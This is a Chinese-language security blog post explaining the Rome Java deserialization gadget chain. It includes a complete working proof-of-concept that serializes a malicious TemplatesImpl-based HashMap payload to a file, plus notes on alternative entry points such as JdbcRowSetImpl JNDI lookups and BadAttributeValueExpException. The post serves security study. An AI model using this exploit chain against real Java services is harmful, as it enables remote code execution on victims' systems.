Java反序列化Rome篇

0x00 前言

Rome链本身比较简单,本文侧重于链子的变换和优化。

0x01 yso链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/

读者自行分析吧,直接给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import sun.reflect.ReflectionFactory;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;


public class Main {
/**
** TemplatesImpl.getOutputProperties()
* * ToStringBean.toString(String)
* * ToStringBean.toString()
* * ObjectBean.toString()
* * EqualsBean.beanHashCode()
* * ObjectBean.hashCode()
* * HashMap<K,V>.hash(Object)
* * HashMap<K,V>.readObject(ObjectInputStream)
*/
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = Utils.getTemplatesImpl();
ObjectBean objectBean = new ObjectBean(Templates.class, templatesImpl);
EqualsBean equalsBean = (EqualsBean) Utils.getFieldValue(objectBean, "_equalsBean");
ToStringBean toStringBean = (ToStringBean) Utils.getFieldValue(objectBean, "_toStringBean");
Utils.setFieldValue(equalsBean, "_obj", toStringBean);
HashMap<Object, Object> hashMap = Utils.gadgetFromHashmap(objectBean);
objectBean.hashCode();
Utils.serializeToFile(hashMap);

}

public static class Utils {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static Object getFieldValue(Object object, String fieldName) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}

public static void serializeToFile(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserializeFromFile(String filePath) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
return objectInputStream.readObject();
}

public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class"));
setFieldValue(templates, "_name", "Pax");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
return templates;
}

public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(1,1);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setFieldValue(entry,"key",o);
}
}
return hashMap;
}


}
}

0x02 分析与优化

ToStringBean.toString(String)方法会调用getter,下意识地想到TemplatesImpl.getOutputProperties()这个getter。但是只有这一个getter吗?显然还有JdbcRowSetImpl.getDatabaseMetaData()这个调用JNDI服务的getter。所以平常可以多积累一些getter。

不难发现,HashMap里的key.hashCode()既可以是ObjectBean也可以是EqualsBean。

说到HashMap,其实也可以换成HashTable。

其实在上篇文章没有说到,无论是HashMap还是HashTable,put的时候都会调用key.hashCode()。在Utils里我也给出了相关的函数,可以无伤放key(不调用到key.hashCode()):

image-20250331203921266

再深入一点,既然核心是调用ToStringBean.toString(),可以把ToStringBean放到BadAttributeValueExpException里,反正只要是调用toString()方法即可的类即可。

这篇文章也给了几个调用toString()的类:jdk新入口挖掘-先知社区:badAttributeValueExpException,HotSwappableTargetSource,XStringForFSB,AudioFileFormat$Type,TextAndMnemonicHashMap。

0x03 Javassist

Javassist:Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。

多的不说,文末的链接也有相关的文章。

0x04 参考

Java反序列化之ROME反序列化-先知社区

Java反序列化之Rome - Potat0w0

Java安全学习——ROME反序列化 - 枫のBlog